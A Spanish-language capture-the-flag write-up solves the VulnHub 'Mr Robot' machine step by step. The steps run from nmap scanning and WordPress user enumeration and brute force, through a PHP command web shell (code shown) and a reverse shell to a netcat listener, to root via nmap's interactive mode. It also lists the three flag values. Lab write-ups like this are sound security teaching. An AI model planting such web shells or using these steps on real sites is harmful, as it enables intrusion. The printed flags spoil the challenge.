solucion reto mr robot

9
Gracias a mi compañero David (@DaveLanis) he conocido una máquina virtual de la serie MR Robot a modo de reto, en la que tienes que encontrar tres keys. Según puedes ver aquí, el reto dicen que es para nivel novato-intermedio, pero si estás dispuesto a pasar un rato investigando, te la recomiendo. Siempre se aprende algo. Antes de nada decir, que no soy muy asiduo a este tipo de retos, así que lo mismo la resolución que yo os dejo no es ni la mejor, ni la más rápida. Dicho esto, lo primero es descargar la máquina que está en formato OVA y que puedes usar de manera gratuita con, por ejemplo, VirtualBox. Una vez que tienes la máquina arrancada, lo primero que vemos es esto. Como no disponemos del login de la máquina, lo primero que pensé es tirarle un nmap para ver que tenía levantado la máquina. Cierto es que se me pasó por la cabeza saltarme el grub, pero pensé que quizá le quitaba la gracia xD. Como vemos en la imagen, el puerto 80 y el 443 están abiertos y el 22 está cerrado. Lo siguiente fue abrir un navegador y poner la IP de la máquina. Al abrir parece que carga un sistema operativo y te da unas opciones para introducir.

Upload: roberto-garcia-amoriz

Post on 19-Jan-2017

55 views

Category:

Technology


4 download

TRANSCRIPT

Page 1: Solucion reto mr robot

Gracias a mi compañero David (@DaveLanis) he conocido una máquina virtual de la serie MR

Robot a modo de reto, en la que tienes que encontrar tres keys. Según puedes ver aquí, el reto

dicen que es para nivel novato-intermedio, pero si estás dispuesto a pasar un rato investigando,

te la recomiendo. Siempre se aprende algo.

Antes de nada decir, que no soy muy asiduo a este tipo de retos, así que lo mismo la resolución

que yo os dejo no es ni la mejor, ni la más rápida.

Dicho esto, lo primero es descargar la máquina que está en formato OVA y que puedes usar de

manera gratuita con, por ejemplo, VirtualBox. Una vez que tienes la máquina arrancada, lo

primero que vemos es esto.

Como no disponemos del login de la máquina, lo primero que pensé es tirarle un nmap para ver

que tenía levantado la máquina. Cierto es que se me pasó por la cabeza saltarme el grub, pero

pensé que quizá le quitaba la gracia xD.

Como vemos en la imagen, el puerto 80 y el 443 están abiertos y el 22 está cerrado.

Lo siguiente fue abrir un navegador y poner la IP de la máquina. Al abrir parece que carga un

sistema operativo y te da unas opciones para introducir.

Page 2: Solucion reto mr robot

Tengo que decir que me encanta el texto que pone al abrir la web xD.

Después de revisar una por una cada opción y ver que hay en la parte del código (y de no

encontrar nada llamativo) decidí abrir Burp y ver que había en las peticiones y que podía

encontrar. Un poco de spider y me topo con el “robots.txt”.

En el aparecen dos archivos como podemos ver en la imagen anterior. Vamos al navegador y

ponemos la IP de la máquina más los ficheros encontrados. En uno nos da un hash y en el otro

un diccionario.

En un principio pensé que el diccionario era para crackear el hash, pero después de tirarle John

the ripper y hashcat como hice en otra entrada y ver que no sacaba nada, pensé que la primera

key era simplemente eso una clave 073403c8a58a1f80d943455fb30724b9.

Seguimos avanzando y me da por mirar de nuevo el código de una de las páginas y me doy

cuenta de que corre un WordPress.

Page 3: Solucion reto mr robot

Sabiendo que hay un WordPress, voy a probar que tiene con WPScan.

Pues a priori nada que no supiera ya…

Vamos a la parte del login de WordPress a ver si nos da una pista…

Page 4: Solucion reto mr robot

Y efectivamente tenemos algo, podemos enumerar usuarios. Ya tenemos que el usuario elliot

existe. Me preguntaba David que porqué el usuario Elliot y la verdad es que me salió solo, pensé

que es el prota de la serie y simplemente lo puse por poner.

Volvemos a WPScan para probar un ataque por diccionario con la lista que hemos obtenido y el

usuario elliot.

Pues parece que esta herramienta funciona bien jeje, un 10 para estos chicos!!

Ya tenemos acceso a la parte privada de WordPress.

Como tengo permisos de administrador me voy a pegar un buen vistazo a todo lo que hay

dentro.

Además del usuario de Elliot, existe otro llamado mich05654 que es de Krista Gordon. Siendo

sincero, he tenido que buscar quien era porque con los nombres en las series en inglés tengo un

serio problema, y es, que no me acuerdo de los nombres de los personajes xD. Resulta que es la

psicóloga de Elliot (algo bastante llamativo).

Sigo revisando todo y me encuentro en la parte de plugins con uno que me llama la atención

“hello Dolly” no me suena absolutamente de nada, no es que sea un experto en WordPress ni

mucho menos, pero sí que me suenan los nombre de los plugins más conocidos. De hecho si

vemos la siguiente imagen ellos mismos dicen que no es un plugin al uso…

Page 5: Solucion reto mr robot

SI busco en google por el nombre del citado plugin veo esto.

Veamos el código a ver si hay algo.

Pues parece que lo único que hace este plugin es mostrar una frase aleatoria de la canción de

Louis Amstrong, así que me da que por ahí no van los tiros.

He de reconocer que pensaba que habría alguna pista en ese plugin y la verdad que me quedo

bastante atascado en este punto, de hecho demasiado. Pierdo más de dos horas revisando todo

lo que hay en el WordPress sin llegar a nada (recordemos que no soy asiduo a estos juegos jeje).

No sé por dónde seguir, así que me vuelvo loco mirando de nuevo el frontal, el código de todas

las páginas e incluso me dar por ver si hay algo de steno en las imágenes, y nada. La verdad que

cuando no estás acostumbrado a este tipo de juegos es bastante frustrante quedarte atascado

y no poder avanzar.

Page 6: Solucion reto mr robot

Después de mucho darle vueltas y de hablar con David, se me ocurrió (por una vez he pensado)

intentar modificar el contenido de uno de los “plugins” por un simple “phpinfo” y ver si lo podía

llamar. Al segundo intento funcionó.

La idea (ahora) era sencilla. Modificar la página de error para que en lugar de cargar el contenido

por defecto me muestre el “phpinfo”.

Y así al poner cualquier cosa en el navegador no esperada, en lugar de cargar la página de error

404.php, nos carga el “phpinfo”.

Ahora, sabiendo que funciona, cambiamos ese “phpinfo” por una minishell.

<?php

if(isset($_REQUEST['cmd'])){

echo "<pre>";

$cmd = ($_REQUEST['cmd']);

system($cmd);

echo "</pre>";

die;

}

?>

Page 7: Solucion reto mr robot

Y vemos quienes somos, listamos ficheros etc.

Como esto es una pequeña webshell, no nos da para mucho, necesitamos algo que nos aporte

algo más. Mis compañero Amine (gracias por tu tiempo) me estuvo hablando de Regeorg y la

verdad que es bastante potente, pero para este reto creo que era demasiado, así que estuve

buscando shells reversas en PHP y me topé con la gente de pentestmonkey (recomiendo

bastante su blog) donde encontré varios recursos que me han venido bien para terminar esta

prueba.

Total, que subo la Shell, modifico los parámetros de IP y puerto y me lio con ello. Para este

ejemplo yo me abrí el puerto 2222 contra la IP de la máquina desde la que quiero obtener

acceso, es decir, subo la webshell al WordPress y abro un netcat a la escucha en la Kali.

Perfecto, ya tengo conexión en la máquina. Vamos a ver algunas cosas…

Page 8: Solucion reto mr robot

Como vemos en la imagen anterior, tengo dos ficheros pero solo puedo leer uno de ellos, para

el otro necesito ser el usuario robot. El hash del segundo fichero parece ser la clave para el

usuario root, podría intentar crackear el hash como hice en la entrada con los hash MD5, pero

ya había perdido mucho tiempo, así que me fui a lo fácil, poner en google el hash y esperar la

respuesta jeje.

Rsulta que la contraseña del usuario robot es el abecedario xD. Ya puedo acceder con el usuario

haciendo sudo – y listo ¿no?

Pues se ve que no, otra complicación más y a buscar info. Mirando de nuevo en google por el

nombre del error me encuentro que usando Python tengo la solución.

Ya tengo acceso, ahora sí!

Con esto ya tenemos el segundo flag, 822c73956184f694993bede3eb39f959. Vamos a por el

tercero. Para esta necesitamos ser root, es decir, hay que elevar privilegios. Después de marear

la perdiz y buscar 654837 cosas sobre como elevar privilegios, me acordé que hace poco en una

máquina lo pude hacer a través de Nmap. Así que lo primero es comprobar que está instalado

nmap.

Page 9: Solucion reto mr robot

Pues va a ser que sí, esto está hecho!!

En 3 pasos somos root. Nmap tiene una opción que es --interactive con la que puedes abrirte

una Shell como root y, obviamente todo lo que hagas se ejecuta como root.

Ya tenemos el tercer y último flag. Creo que ha sido el más fácil y rápido sin duda.

Conclusiones:

Desde mi punto de vista lo más difícil ha sido empezar y pensar como subir una webshell.

Agradecimientos:

A mis compañeros David, Amine y Hector.

A la persona que ha desarrollado este wargame por el curro que lleva.

Recursos:

http://pentestmonkey.net/

https://www.vulnhub.com/entry/mr-robot-1,151/

Por último, las key que se piden en el juego:

1ª: 073403c8a58a1f80d943455fb30724b9

2ª: 822c73956184f694993bede3eb39f959

3ª: 04787ddef27c3dee1ee161b21670b4e4

*Plus: David Alanís (@DaveLanis) ha encontrado la pass de Elliot sin tener que hacer fuerza

bruta ni nada xD:

Si accedes a http://IP_delamaquina/license.txt y bajas con el cursor te la encuentras en

base64, la decodeas y listo.

Writeup escrito por Roberto García Amoriz (@1GbDeInfo) visita mi web en http://www.1gbdeinfo.com